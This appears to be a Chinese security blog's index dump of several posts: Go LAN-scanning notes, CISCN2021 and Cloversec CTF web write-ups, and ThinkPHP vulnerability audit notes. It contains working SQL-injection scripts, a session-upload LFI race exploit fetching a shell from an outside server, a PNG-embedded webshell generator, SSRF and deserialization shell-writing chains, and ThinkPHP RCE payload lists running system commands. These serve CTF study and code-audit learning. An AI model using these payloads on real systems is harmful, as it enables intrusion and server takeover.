因为ARP高速缓存有时效性,读取到目标主机的硬件地址后,最好发送一个ICMP包验证目标是否在线。当然也可以选择不从高速缓存里读取数据,而是直接并发发送arp包,等待在线主机回应ARP报文。 发送arp请求后,只需要开启一个arp的监听goruntime,所有有返回arp response包的,就是内网在线的host,接受到一个arp的response后,就可以发起mdns和nbns包并等待hostname的返回。 mDNS:往对方的5353端口和01:00:5E:00:00:FB的mac地址发送UDP的mdns(Multicast DNS)包,如果目标系统支持,回返回host name。详细协议介绍和报文格式可以查看维基百科的介绍。 NBNS:也是一个种常见的查看目标机器hostname的一种协议,和mDNS一样,传输层也是UDP,端口是在137。 我们可以通过目标主机的硬件地址,获取到设备的生产厂家信息,这样的话,即使遇到防御比较好的系统,我们无法获取到hostname,也能从厂家信息里获取一定的信息量。 厂家对应manuf指纹:https://code.wireshark.org/review/gitweb?p=wireshark.git;a=blob_plain;f=manuf ","date":"2021-08-16","objectID":"/golang_scan_tech/:3:2","tags":["Golang","Scanner"],"title":"Golang开发端口扫描器一些常用技术","uri":"/golang_scan_tech/"},{"categories":["Notes"],"content":"Reference http://c.biancheng.net/golang/intro/ https://zhuanlan.zhihu.com/p/169426477 https://cloud.tencent.com/developer/section/1143223 https://github.com/timest/goscan/issues/1 ","date":"2021-08-16","objectID":"/golang_scan_tech/:4:0","tags":["Golang","Scanner"],"title":"Golang开发端口扫描器一些常用技术","uri":"/golang_scan_tech/"},{"categories":["Writeup"],"content":"CISCN2021 Web 部分Writeup ","date":"2021-05-18","objectID":"/ciscn2021-writeup/:0:0","tags":["RCE","LFI","XSSearch"],"title":"CISCN2021 Writeup","uri":"/ciscn2021-writeup/"},{"categories":["Writeup"],"content":"easy_source 原题,ReflectionMethod 构造 User 类中的函数方法,再通过 getDocComment 获取函数的注释 提交参数: ?rc=ReflectionMethod\u0026ra=User\u0026rb=a\u0026rd=getDocComment 爆破rb的值a-z,在q得到flag: ","date":"2021-05-18","objectID":"/ciscn2021-writeup/:0:1","tags":["RCE","LFI","XSSearch"],"title":"CISCN2021 Writeup","uri":"/ciscn2021-writeup/"},{"categories":["Writeup"],"content":"easy_sql fuzz: sqlmap得到表名flag和一个列名id:报错加无列名注入 一开始用按位比较: import requests url = 'http://124.70.35.238:23511/' def add(flag): res = '' res += flag return res flag = '' for i in range(1,200): for char in range(32, 127): hexchar = add(flag + chr(char)) payload = \"1') or (select 1,'NO','CISCN{JGHHS-JPD52-IJK4O-MGPDZ-DUFWI-')\u003e=(select * from security.flag limit 1)#\".format(hexchar) data = {\"uname\":\"admin\",'passwd':payload} r = requests.post(url=url, data=data) text = r.text if 'login\u003c' in r.text: flag += chr(char-1) print(flag) break 到最后卡住了,换了无列名注入报错爆列名,然后直接报错注入: admin')||extractvalue(1,concat(0x7e,(select * from (select * from flag as a join (select * from flag)b using(id,no))c)))# //Duplicate column name 'e0f1d955-bbba-43c3-b078-a81b3fc4bf28' admin')||(extractvalue(1,concat(0x7e,(select`e0f1d955-bbba-43c3-b078-a81b3fc4bf28`fromsecurity.flag),0x7e)))#//XPATHsyntaxerror:'~CISCN{JgHhs-jpd52-iJk4O-MGPDz-d'admin')||(extractvalue(1,concat(0x7e,substr((select `e0f1d955-bbba-43c3-b078-a81b3fc4bf28` from security.flag),32,50),0x7e)))# //XPATH syntax error: '~uFWI-}~' ","date":"2021-05-18","objectID":"/ciscn2021-writeup/:0:2","tags":["RCE","LFI","XSSearch"],"title":"CISCN2021 Writeup","uri":"/ciscn2021-writeup/"},{"categories":["Writeup"],"content":"middle_source 首页给了任意文件包含 扫目录得到.listing,得到you_can_seeeeeeee_me.php是phpinfo页面 有了phpinfo可以尝试直接向phpinfo页面传文件加垃圾数据,同时从phpinfo获取临时文件名进行文件包含,或者利用session.upload_progress进行session文件包含 前者尝试无效果 从phpinfo得到了session保存路径:/var/lib/php/sessions/fccecfeaje/ 尝试发现可以出网,虽然ban了很多函数,但是可以直接用copy或file_get_contents下载shell 在/etc/acfffacfch/iabhcgedde/facafcfjgf/adeejdbegg/fdceiadhce/fl444444g发现flag exp: import requests import threading #file_content = '\u003c?php print_r(scandir(\"/etc\"));?\u003e' #file_content = '\u003c?php copy(\"http://myvps/s.txt\",\"/tmp/leon.php\");echo \"666666666\";?\u003e' #s.txt是shell一句话 file_content = '\u003c?php var_dump(file_get_contents(\"/etc/acfffacfch/iabhcgedde/facafcfjgf/adeejdbegg/fdceiadhce/fl444444g\"));?\u003e' url='http://124.70.35.238:23579/' r=requests.session() def POST(): while True: file={ \"upload\":('\u003c?php echo 999;?\u003e', file_content, 'image/jpeg') } data={ \"PHP_SESSION_UPLOAD_PROGRESS\":file_content } headers={ \"Cookie\":'PHPSESSID=1234' } r.post(url,files=file,headers=headers,data=data) def READ(): while True: event.wait() t=r.post(\"http://124.70.35.238:23579/\", data={\"cf\":'../../../../../../../../../../var/lib/php/sessions/fccecfeaje/sess_1234'}) if len(t.text) \u003c 2230: print('[+]retry') else: print(t.text) event.clear() event=threading.Event() event.set() threading.Thread(target=POST,args=()).start() threading.Thread(target=POST,args=()).start() threading.Thread(target=POST,args=()).start() threading.Thread(target=READ,args=()).start() threading.Thread(target=READ,args=()).start() threading.Thread(target=READ,args=()).start() ","date":"2021-05-18","objectID":"/ciscn2021-writeup/:0:3","tags":["RCE","LFI","XSSearch"],"title":"CISCN2021 Writeup","uri":"/ciscn2021-writeup/"},{"categories":["Writeup"],"content":"upload index.php上传文件,example.php解压zip后缀文件并将解压后的文件重新创建为新图片 第一个点,绕getimagesize函数获取的长宽限制,文件中只要包含: #define width 1 #define height 1 即可 第二个点,绕过zip后缀中i的过滤,使用mb_strtolower函数的特性: PHP :: Request #70072 :: Add a language avare uppercase/lowercase solution without need of locale change 上传时使用xxx.zİp,经过mb_strtolower后存到服务器的文件名变为xxx.zip 第三个点,上传后解压后的文件会被imagecreatefrompng函数进行重新生成新图片,普通图片马会被该函数给覆盖掉 所以需要利用PNG格式,向PLTE块写入数据,保证在重载后不变 可参考:imagecreatefrom-/png/analysis at master · hxer/imagecreatefrom- 分析底层源码可知, png signature 是不可能插入 php 代码的; IHDR 存储的是 png 的图片信息,有固定的长度和格式,程序会提取图片信息数据进行验证,很难插入 php 代码;而 PLTE 主要进行了 CRC 校验和颜色数合法性校验等简单的校验,那么很可能在 data 域插入 php 代码。 或者根据IDAT块的转换算法,直接向IDAT块中写入转换前的数据,经过imagecreatefrompng重载后,生成的新图片中出现了可以利用的恶意代码,网上找的exp,有兴趣的可以自己调一调,内容为\u003c?=$_GET[0]($_POST[1]);?\u003e: \u003c?php $p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23, 0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae, 0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc, 0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f, 0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c, 0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d, 0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1, 0x66, 0x44, 0x50, 0x33); $img = imagecreatetruecolor(32, 32); for ($y = 0; $y \u003c sizeof($p); $y += 3) { $r = $p[$y]; $g = $p[$y+1]; $b = $p[$y+2]; $color = imagecolorallocate($img, $r, $g, $b); imagesetpixel($img, round($y / 3), 0, $color); } imagepng($img,'./1.png'); ?\u003e 了解这三点后,直接进行利用: 因为在比赛中,测试发现PLTE块还是被一定程度的改变,直接用上文的exp写IDAT块,但是题目ban了一堆函数,加上\u003c?=$_GET[0]($_POST[1]);?\u003e只能单参数执行,并不能拿到flag,所以打算直接静态探究一下PLTE块被转换的规律: 先生成插入了1234567890abcdefghijklmnopqrstuvwxyz!@#$%^\u0026*()_+字符串的txt,与含有#define xxx文件一同压缩,注意压缩时选择仅存储文件相关的选项,这样不会对#define xxx进行修改,上传后可以正常绕过getimagesize 压缩修改成test.zİp: 上传成功后解压: 访问test.txt保存到本地查看: 发现如图的位置改变,于是算了一下长度,刚好能写GET的一句话,中间其余字符用注释符注释即可: 最后需要/*或者?\u003e注释剩余字符或者闭合都行 .\\poc_png.py -p \"*/$\u003c?=_GET/**/[fghijk;/*(/*rstuvw0])*/e$%^val/*+\" -o test1.txt .\\indexcolor.png 按上述步骤上传解压后,成功写入一句话: 蚁剑连上找到flag即可 ","date":"2021-05-18","objectID":"/ciscn2021-writeup/:0:4","tags":["RCE","LFI","XSSearch"],"title":"CISCN2021 Writeup","uri":"/ciscn2021-writeup/"},{"categories":["Writeup"],"content":"babyblog 吐槽一下,这个题的bot没有队列,而且单线程,请求半天才给一个回显,凌晨bot被阻塞了,叫客服也没人回,去睡了两小时,起床后有了思路但是来不及了 虽然没法验证思路对不对:(,但应该没错了,犹豫就会败北 主要注意他给了个搜索功能,测了一下是对大小写敏感的,正常来说搜索功能是大小写不敏感的,加上templates文件夹下存在模板文件源码泄露,对XSS严格限制了,再加上题目描述,可以想到利用这个搜索功能进行XSLeak,也就是XS-Search,也算侧信道攻击 参考:XS-Search | XS-Leaks Wiki (xsleaks.dev) 根据题目描述猜测flag就在admin的blog页面,可能是title,也可能是content,不过没有区别,利用搜索功能对页面的检索,逐位爆破,成功返回200,传回vps,未匹配返回302跳转,基于此爆破flag 35C3 CTF 的filemanager题目和这个类似,只不过利用点不同,这里是火狐,那道题利用的是chrome的错误页面chrome-error://chromewebdata/ 大概就这么多 ","date":"2021-05-18","objectID":"/ciscn2021-writeup/:0:5","tags":["RCE","LFI","XSSearch"],"title":"CISCN2021 Writeup","uri":"/ciscn2021-writeup/"},{"categories":["Writeup"],"content":"寒假没怎么打CTF,后面的AntCTF、D^3CTF刚好在开学的时间段,四叶草安全举办的小比赛,都是简单题,随便看看 ","date":"2021-02-27","objectID":"/%E5%9B%9B%E5%8F%B6%E8%8D%89%E5%AE%89%E5%85%A8%E7%89%9B%E5%B9%B4ctf%E5%A4%A7%E8%B5%9B/:0:0","tags":["SSRF","SQL注入","unserialize"],"title":"四叶草安全牛年CTF大赛","uri":"/%E5%9B%9B%E5%8F%B6%E8%8D%89%E5%AE%89%E5%85%A8%E7%89%9B%E5%B9%B4ctf%E5%A4%A7%E8%B5%9B/"},{"categories":["Writeup"],"content":"GET smarty模板注入 可以使用{if phpinfo()}{/if}执行任意php代码 用header绕一下flag关键字就行 ?flag={if%20show_source(array_rand(array_flip(getallheaders())))}{/if} header: 0: flag.php ","date":"2021-02-27","objectID":"/%E5%9B%9B%E5%8F%B6%E8%8D%89%E5%AE%89%E5%85%A8%E7%89%9B%E5%B9%B4ctf%E5%A4%A7%E8%B5%9B/:1:0","tags":["SSRF","SQL注入","unserialize"],"title":"四叶草安全牛年CTF大赛","uri":"/%E5%9B%9B%E5%8F%B6%E8%8D%89%E5%AE%89%E5%85%A8%E7%89%9B%E5%B9%B4ctf%E5%A4%A7%E8%B5%9B/"},{"categories":["Writeup"],"content":"Website 给了一个提交url页面,测试发现是后端访问,猜测是php的curl 测试发现,只能以http或者https协议开头,尝试302重定向绕过 \u003c?php header(\"Location: file:///etc/passwd\"); exit; ?\u003e 读到/etc/passwd 尝试直接读flag,但是并没有什么发现 通过/proc/self/cwd/index.php读到了源码: \u003c?php error_reporting(0); function check_302($url) { $ch = curl_init($url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1); // 302 redirect curl_exec($ch); $info = curl_getinfo($ch); curl_close($ch); return $info['url']; } if (isset($_GET['url'])) { $url = $_GET['url']; if (strpos($url, 'http://127.0.0.1/') === 0 || strpos($url, 'http://localhost/') === 0) { exit(\"\u003cscript\u003ealert('Cloversec WAF!')\u003c/script\u003e\"); } if (!preg_match('/^(http|https):\\/\\/[_a-zA-Z0-9-]+(.[_a-zA-Z0-9-]+)*/i', $url)) { exit(\"\u003cscript\u003ealert('Cloversec WAF!')\u003c/script\u003e\"); } $url = check_302($url); echo $url; $ch = curl_init($url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_HEADER, 0); $result = curl_exec($ch); curl_close($ch); echo \"\u003cdiv class='yulan'\u003e\u003chead\u003e \u003cbase href='\" . $url . \"/'\u003e \u003c/head\u003e\u003c!-- 以下是正文 --\u003e\u003cbr\u003e\" . $result . \"\u003c/div\u003e\"; } else { echo \"\u003cdiv class='yulan'\u003e\u003ch2\u003eHello\u003c/h2\u003e\u003c/div\u003e\"; } ?\u003e 然后根据响应看到是Server: Apache/2.2.15,该版本的配置文件路径为:/etc/httpd/conf/httpd.conf 读到了: \u003cVirtualHost _default_:80\u003e DocumentRoot /var/www/html/web1 \u003c/VirtualHost\u003e \u003cVirtualHost *:8080\u003e DocumentRoot /var/www/html/web2 \u003c/VirtualHost\u003e 读web2源码: /var/www/html/web2/index.php \u003c?php class copy_file{ public $path = 'upload/'; public $file; public $url; function __destruct(){ if(strpos($this -\u003e url,'http://127.0.0.1') === 0){ file_put_contents($this -\u003e path.$this -\u003e file, file_get_contents($this -\u003e url)); echo $this -\u003e path.$this -\u003e file.\" update successed!)\u003cbr\u003e\"; }else{ echo \"Hello CTFer\"; } } } if(isset($_GET['data'])){ $data = $_GET['data']; unserialize($data); }else{ echo \"\u003ch2\u003eWelcome to CloverSec WebSite\u003ch2\u003e\"; } ?\u003e 简单构造一下,写个shell: 这里试了直接web1路径,但是没权限,只有web2的upload目录可写 \u003c?php class copy_file{ public $path = 'upload/'; public $file; public $url; function __destruct(){ var_dump(strpos($this -\u003e url,'http://127.0.0.1') === 0); if(strpos($this -\u003e url,'http://127.0.0.1') === 0){ file_put_contents($this -\u003e path.$this -\u003e file, file_get_contents($this -\u003e url)); echo $this -\u003e path.$this -\u003e file.\" update successed!)\u003cbr\u003e\"; }else{ echo \"Hello CTFer\"; } } } $a = new copy_file(); $a-\u003efile = 'a.php'; $a-\u003eurl = 'http://127.0.0.1@47.102.210.191:8000/a.txt'; echo urlencode(serialize($a)); ?\u003e 用@绕一下开头,a.txt内容为get的一句话,方便使用 \u003c?php header(\"Location: http://127.0.0.1:8080/?data=O%3A9%3A%22copy_file%22%3A3%3A%7Bs%3A4%3A%22path%22%3Bs%3A7%3A%22upload%2F%22%3Bs%3A4%3A%22file%22%3Bs%3A5%3A%22a.php%22%3Bs%3A3%3A%22url%22%3Bs%3A42%3A%22http%3A%2F%2F127.0.0.1%4047.102.210.191%3A8000%2Fa.txt%22%3B%7D\"); exit; ?\u003e shell弹不出来,看到web2路径才发现flag_WebSite_SsRf.txt 直接访问:http://4b7c0f6a.yunyansec.com/index.php?url=http://127.0.0.1:8080/flag_WebSite_SsRf.txt flag{d195eeb026cadd7d00e79d112b102f00} ","date":"2021-02-27","objectID":"/%E5%9B%9B%E5%8F%B6%E8%8D%89%E5%AE%89%E5%85%A8%E7%89%9B%E5%B9%B4ctf%E5%A4%A7%E8%B5%9B/:2:0","tags":["SSRF","SQL注入","unserialize"],"title":"四叶草安全牛年CTF大赛","uri":"/%E5%9B%9B%E5%8F%B6%E8%8D%89%E5%AE%89%E5%85%A8%E7%89%9B%E5%B9%B4ctf%E5%A4%A7%E8%B5%9B/"},{"categories":["Writeup"],"content":"filemange code.html给了源码 \u003c?php $path = \"./sandbox/\"; class game { public $file_name; public $content = \"Hello World\"; public function __construct($file_name) { $this-\u003efile_name = $file_name; } public function __wakeup() { if (strpos($this-\u003econtent, \"php\")) { die(\"Hacker...\"); } } public function __destruct() { $this-\u003etest(); } public function test() { $filename = \"/var/www/html/\" . $this-\u003efile_name; file_put_contents($filename, $this-\u003econtent); echo $this-\u003efile_name . \" create Successful!!!\"; } } if ($method == \"unlink\") { if (!isset($_POST['file'])) { echo 'unlink html form'; } else { $file = $_POST['file']; if (!unlink($file)) { echo \"删除失败\"; } else { echo \"删除成功\"; } } } ?\u003e 很明显phar反序列化,构造一下生成phar文件改后缀上传即可 ","date":"2021-02-27","objectID":"/%E5%9B%9B%E5%8F%B6%E8%8D%89%E5%AE%89%E5%85%A8%E7%89%9B%E5%B9%B4ctf%E5%A4%A7%E8%B5%9B/:3:0","tags":["SSRF","SQL注入","unserialize"],"title":"四叶草安全牛年CTF大赛","uri":"/%E5%9B%9B%E5%8F%B6%E8%8D%89%E5%AE%89%E5%85%A8%E7%89%9B%E5%B9%B4ctf%E5%A4%A7%E8%B5%9B/"},{"categories":["Writeup"],"content":"StAck3d 1nj3c 与[SUCTF 2019]EasySQL类似 1;setsql_mode=PIPES_AS_CONCAT;select1 ","date":"2021-02-27","objectID":"/%E5%9B%9B%E5%8F%B6%E8%8D%89%E5%AE%89%E5%85%A8%E7%89%9B%E5%B9%B4ctf%E5%A4%A7%E8%B5%9B/:4:0","tags":["SSRF","SQL注入","unserialize"],"title":"四叶草安全牛年CTF大赛","uri":"/%E5%9B%9B%E5%8F%B6%E8%8D%89%E5%AE%89%E5%85%A8%E7%89%9B%E5%B9%B4ctf%E5%A4%A7%E8%B5%9B/"},{"categories":["Notes"],"content":"跟一下Mochazz/ThinkPHP-Vuln: 关于ThinkPHP框架的历史漏洞分析集合,记点笔记 ","date":"2021-02-01","objectID":"/thinkphp%E5%AE%A1%E8%AE%A1%E5%85%A5%E9%97%A8/:0:0","tags":["code_audit","ThinkPHP","RCE","LFI","SQL注入"],"title":"ThinkPHP审计入门","uri":"/thinkphp%E5%AE%A1%E8%AE%A1%E5%85%A5%E9%97%A8/"},{"categories":["Notes"],"content":"tp5_LFI 本次漏洞存在于 ThinkPHP 模板引擎中,在加载模版解析变量时存在变量覆盖问题,而且程序没有对数据进行很好的过滤,最终导致文件包含漏洞的产生。 漏洞影响版本: 5.0.0\u003c=ThinkPHP5\u003c=5.0.18 、5.1.0\u003c=ThinkPHP\u003c=5.1.10 复现: application\\index\\controller\\Index.php: \u003c?php namespace app\\index\\controller; use think\\Controller; class Index extends Controller { public function index() { $this-\u003eassign(request()-\u003eget()); return $this-\u003efetch(); // 当前模块/默认视图目录/当前控制器(小写)/当前操作(小写).html } } get获取的数组直接传入assign作为参数: 下断点可以看到此时$name数组的值 跟进assign函数到thinkphp\\library\\think\\View.php中View类的assign($name, $value = '')函数 然后使用array_merge函数将cacheFile: \"aaa.jpg\"合并入$this-\u003edata 然后程序开始调用 fetch方法加载模板输出,跟进到thinkphp\\library\\think\\View.php的fetch函数,因为$renderContent = false,所以$method='fetch' 于是$this-\u003eengine-\u003e$method去调用模板引擎的fetch函数 单步调试到thinkphp\\library\\think\\view\\driver\\Think.php的fetch函数 可以看到如果模板存在,则继续调用$this-\u003etemplate-\u003efetch,跟进到thinkphp\\library\\think\\Template.php的fetch函数: 然后将$vars赋值给$this-\u003edata,快速看看一下引用看到: 这里的$cacheFile为: 因为看到调用了$this-\u003estorage-\u003eread,所以在此处下个断点,继续单步调试跟进一下 最后$vars传入了thinkphp\\library\\think\\template\\driver\\File.php中File类的read函数,这里存在extract变量覆盖,可以看到$cacheFile的值已经覆盖为了用户get传入的aaa.jpg,随后进行了include文件包含,造成了LFI ","date":"2021-02-01","objectID":"/thinkphp%E5%AE%A1%E8%AE%A1%E5%85%A5%E9%97%A8/:1:0","tags":["code_audit","ThinkPHP","RCE","LFI","SQL注入"],"title":"ThinkPHP审计入门","uri":"/thinkphp%E5%AE%A1%E8%AE%A1%E5%85%A5%E9%97%A8/"},{"categories":["Notes"],"content":"tp5_RCE 本次漏洞存在于 ThinkPHP 的缓存类中。该类会将缓存数据通过序列化的方式,直接存储在 .php 文件中,攻击者通过精心构造的 payload ,即可将 webshell 写入缓存文件。缓存文件的名字和目录均可预测出来,一旦缓存目录可访问或结合任意文件包含漏洞,即可触发 远程代码执行漏洞 。 漏洞影响版本: 5.0.0\u003c=ThinkPHP5\u003c=5.0.10 复现: application\\index\\controller\\Index.php: \u003c?php namespace app\\index\\controller; use think\\Cache; class Index { public function index() { Cache::set(\"name\",input(\"get.username\")); return 'Cache success'; } } 首先看到input函数,使用get传参,键名为username: 然后看到Cache::set方法用于写入缓存,跟进后看到使用init方法实例化一个类,由Config类的get方法获取缓存的配置信息,然后调用connect方法去连接缓存: 因为缓存默认配置$options['type']为File,所以connect方法实际上是去实例化\\think\\cache\\driver\\File类,所以init方法中的self::$handler即为\\think\\cache\\driver\\File类实例,这样缓存将作为文件存储在runtime\\cache\\路径下,为写shell创造条件 所以回到thinkphp\\library\\think\\Cache.php中的set方法,self::init()-\u003eset($name, $value, $expire)即为调用\\think\\cache\\driver\\File类的set方法 在return self::init()-\u003eset($name, $value, $expire);处下断点,单步调试跟进后跳到thinkphp\\library\\think\\cache\\driver\\File.php的set方法: \u003c?php public function set($name, $value, $expire = null) { if (is_null($expire)) { $expire = $this-\u003eoptions['expire']; } $filename = $this-\u003egetCacheKey($name); if ($this-\u003etag \u0026\u0026 !is_file($filename)) { $first = true; } $data = serialize($value); if ($this-\u003eoptions['data_compress'] \u0026\u0026 function_exists('gzcompress')) { //数据压缩 $data = gzcompress($data, 3); } $data = \"\u003c?php\\n//\" . sprintf('%012d', $expire) . $data . \"\\n?\u003e\"; $result = file_put_contents($filename, $data); if ($result) { isset($first) \u0026\u0026 $this-\u003esetTagItem($filename); clearstatcache(); return true; } else { return false; } } 可以看到缓存文件名由getCacheKey($name)获得,跟进后看到,缓存目录和文件名为$name也就是缓存类设置的键名的32位md5值,目录为前两位,剩余30位.php为缓存文件名: 这里因为之前设置的键名为name,所以路径为:runtime\\cache\\b0\\68931cc450442b63f5b3d276ea4297.php 回到set方法,我们传入的$data没有经过其他处理,$this-\u003eoptions['data_compress']默认为false,所以也不会经过gzcompress的处理,然后经过拼接php头尾就调用file_put_contents写入缓存文件,所以这里经过CRLF注入可以绕过拼接的注释符 但是这个洞的利用需要配合LFI使用,因为runtime目录与public同级,一般是访问不到的,并且需要知道$this-\u003eoptions['prefix']和缓存设置的键名,才能算出缓存文件名和目录,比较局限 ","date":"2021-02-01","objectID":"/thinkphp%E5%AE%A1%E8%AE%A1%E5%85%A5%E9%97%A8/:2:0","tags":["code_audit","ThinkPHP","RCE","LFI","SQL注入"],"title":"ThinkPHP审计入门","uri":"/thinkphp%E5%AE%A1%E8%AE%A1%E5%85%A5%E9%97%A8/"},{"categories":["Notes"],"content":"tp5_RCE_get 本次漏洞存在于 ThinkPHP 底层没有对控制器名进行很好的合法性校验,导致在未开启强制路由的情况下,用户可以调用任意类的任意方法,最终导致 远程代码执行漏洞 的产生。 漏洞影响版本: 5.0.7\u003c=ThinkPHP5\u003c=5.0.22 、5.1.0\u003c=ThinkPHP\u003c=5.1.30。 payload: 5.1.x : ?s=index/\\think\\Request/input\u0026filter[]=system\u0026data=pwd ?s=index/\\think\\view\\driver\\Php/display\u0026content=\u003c?php phpinfo();?\u003e ?s=index/\\think\\template\\driver\\file/write\u0026cacheFile=shell.php\u0026content=\u003c?php phpinfo();?\u003e ?s=index/\\think\\Container/invokefunction\u0026function=call_user_func_array\u0026vars[0]=system\u0026vars[1][]=id ?s=index/\\think\\app/invokefunction\u0026function=call_user_func_array\u0026vars[0]=system\u0026vars[1][]=id 5.0.x : ?s=index/think\\config/get\u0026name=database.username # 获取配置信息 ?s=index/\\think\\Lang/load\u0026file=../../test.jpg # 包含任意文件 ?s=index/\\think\\Config/load\u0026file=../../t.php # 包含任意.php文件 ?s=index/\\think\\app/invokefunction\u0026function=call_user_func_array\u0026vars[0]=system\u0026vars[1][]=id 复现: 在没有开启强制路由、对控制器没有过滤的情况下,可以调用任意控制器和方法进行getshell 在thinkphp\\library\\think\\route\\dispatch\\Module.php70行$controller处下断点,获取控制器名、获取操作名后转到thinkphp\\library\\think\\App.php中App类的run方法: \u003c?php /** * 执行应用程序 * @access public * @return Response * @throws Exception */ public function run() { try { // 初始化应用 $this-\u003einitialize(); // 监听app_init $this-\u003ehook-\u003elisten('app_init'); if ($this-\u003ebindModule) { // 模块/控制器绑定 $this-\u003eroute-\u003ebind($this-\u003ebindModule); } elseif ($this-\u003econfig('app.auto_bind_module')) { // 入口自动绑定 $name = pathinfo($this-\u003erequest-\u003ebaseFile(), PATHINFO_FILENAME); if ($name \u0026\u0026 'index' != $name \u0026\u0026 is_dir($this-\u003eappPath . $name)) { $this-\u003eroute-\u003ebind($name); } } // 监听app_dispatch $this-\u003ehook-\u003elisten('app_dispatch'); $dispatch = $this-\u003edispatch; if (empty($dispatch)) { // 路由检测 $dispatch = $this-\u003erouteCheck()-\u003einit(); } // 记录当前调度信息 $this-\u003erequest-\u003edispatch($dispatch); // 记录路由和请求信息 if ($this-\u003eappDebug) { $this-\u003elog('[ ROUTE ] ' . var_export($this-\u003erequest-\u003erouteInfo(), true)); $this-\u003elog('[ HEADER ] ' . var_export($this-\u003erequest-\u003eheader(), true)); $this-\u003elog('[ PARAM ] ' . var_export($this-\u003erequest-\u003eparam(), true)); } // 监听app_begin $this-\u003ehook-\u003elisten('app_begin'); // 请求缓存检查 $this-\u003echeckRequestCache( $this-\u003econfig('request_cache'), $this-\u003econfig('request_cache_expire'), $this-\u003econfig('request_cache_except') ); $data = null; } catch (HttpResponseException $exception) { $dispatch = null; $data = $exception-\u003egetResponse(); } $this-\u003emiddleware-\u003eadd(function (Request $request, $next) use ($dispatch, $data) { return is_null($data) ? $dispatch-\u003erun() : $data; }); $response = $this-\u003emiddleware-\u003edispatch($this-\u003erequest); // 监听app_end $this-\u003ehook-\u003elisten('app_end', $response); return $response; } 然后调用thinkphp\\library\\think\\route\\Dispatch.php中Dispatch类的run方法 跟进后到执行$data = $this-\u003eexec();跳回到thinkphp\\library\\think\\route\\dispatch\\Module.php中Module类的exec方法,可以看到最后调用了invokeReflectMethod反射类调用的方法 进一步跟进,可以看到利用反射类调用Request类的input方法 跳到thinkphp\\library\\think\\Request.php中Request类的filterValue方法,这里存在可控的call_user_func($filter, $value); 最终达成rce,可见此漏洞成因为类、方法任意可控且未对控制器进行过滤 ","date":"2021-02-01","objectID":"/thinkphp%E5%AE%A1%E8%AE%A1%E5%85%A5%E9%97%A8/:3:0","tags":["code_audit","ThinkPHP","RCE","LFI","SQL注入"],"title":"ThinkPHP审计入门","uri":"/thinkphp%E5%AE%A1%E8%AE%A1%E5%85%A5%E9%97%A8/"},{"categories":["Notes"],"content":"tp5_RCE_post 本次漏洞存在于 ThinkPHP 底层没有对控制器名进行很好的合法性校验,导致在未开启强制路由的情况下,用户可以调用任意类的任意方法,最终导致 远程代码执行漏洞 的产生。 漏洞影响版本: 5.0.0\u003c=ThinkPHP5\u003c=5.0.23 、5.1.0\u003c=ThinkPHP\u003c=5.1.30 payload: # ThinkPHP \u003c= 5.0.13 POST /?s=index/index s=whoami\u0026_method=__construct\u0026method=\u0026filter[]=system # ThinkPHP \u003c= 5.0.23、5.1.0 \u003c= 5.1.16 需要开启框架app_debug POST / _method=__construct\u0026filter[]=system\u0026server[REQUEST_METHOD]=ls -al # ThinkPHP \u003c= 5.0.23 需要存在xxx的method路由,例如captcha POST /?s=xxx HTTP/1.1 _method=__construct\u0026filter[]=system\u0026method=get\u0026get[]=ls+-al _method=__construct\u0026filter[]=system\u0026method=get\u0026server[REQUEST_METHOD]=ls 复现: composer安装的tp5.0.23不带captcha模块 自己装一下captcha: composer require topthink/think-captcha 1.* # tp5.0的版本是使用1.*,tp5.1的版本是使用2.* 然后在application\\config.php中添加: //验证码配置 'captcha' =\u003e [ //验证码的字符集 'codeSet' =\u003e '23456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ', //设置验证码大小 'fontSize' =\u003e 18, //添加混淆曲线 'useCurve' =\u003e false, //设置图片的高度、宽度 'imageW' =\u003e 150, 'imageH' =\u003e 35, //验证码位数 'length' =\u003e4, //验证成功后重置 'reset' =\u003etrue ], 即可 这里s只需要赋值为一个存在的method路由即可 在tp5.0.24修复了这个漏洞,可以参考https://github.com/top-think/framework/compare/v5.0.23...v5.0.24 主要修改了Request类的method方法 看到thinkphp\\library\\think\\Request.php中Request类的method方法,Config::get('var_method')中的var_method是表单请求类型伪装变量,可在application/config.php中看到其值为_method: 所以可通过指定_method来调用该类下的任意函数,这里将Request类下的$method的值覆盖为__construct了,于是去调用Request类的__construct方法: \u003c?php protected function __construct($options = []) { foreach ($options as $name =\u003e $item) { if (property_exists($this, $name)) { $this-\u003e$name = $item; } } if (is_null($this-\u003efilter)) { $this-\u003efilter = Config::get('default_filter'); } // 保存 php://input $this-\u003einput = file_get_contents('php://input'); } 可以看到构造函数中用foreach遍历$POST提交的数据,接着使用property_exists()检测当前类是否具有该属性,如果存在则赋值,这里存在变量覆盖,且参数用户可控 Request 类的所有属性如下: protected $get protected static $instance; protected $post protected $method; protected $request protected $domain; protected $route protected $url; protected $put; protected $baseUrl; protected $session protected $baseFile; protected $file protected $root; protected $cookie protected $pathinfo; protected $server protected $path; protected $header protected $routeInfo protected $mimeType protected $env; protected $content; protected $dispatch protected $filter; protected $module; protected static $hook protected $controller; protected $bind protected $action; protected $input; protected $langset; protected $cache; protected $param protected $isCheckCache; filter[]=system\u0026method=get\u0026get[]=whoami作用就是把当前Request类下的$filter覆盖为system,$method覆盖为get,$get覆盖为whoami: 随后会对$method进行检查,在thinkphp\\library\\think\\Route.php的check函数,在这里$rules的定义为: private static $rules = [ 'GET' =\u003e [], 'POST' =\u003e [], 'PUT' =\u003e [], 'DELETE' =\u003e [], 'PATCH' =\u003e [], 'HEAD' =\u003e [], 'OPTIONS' =\u003e [], '*' =\u003e [], 'alias' =\u003e [], 'domain' =\u003e [], 'pattern' =\u003e [], 'name' =\u003e [], ]; 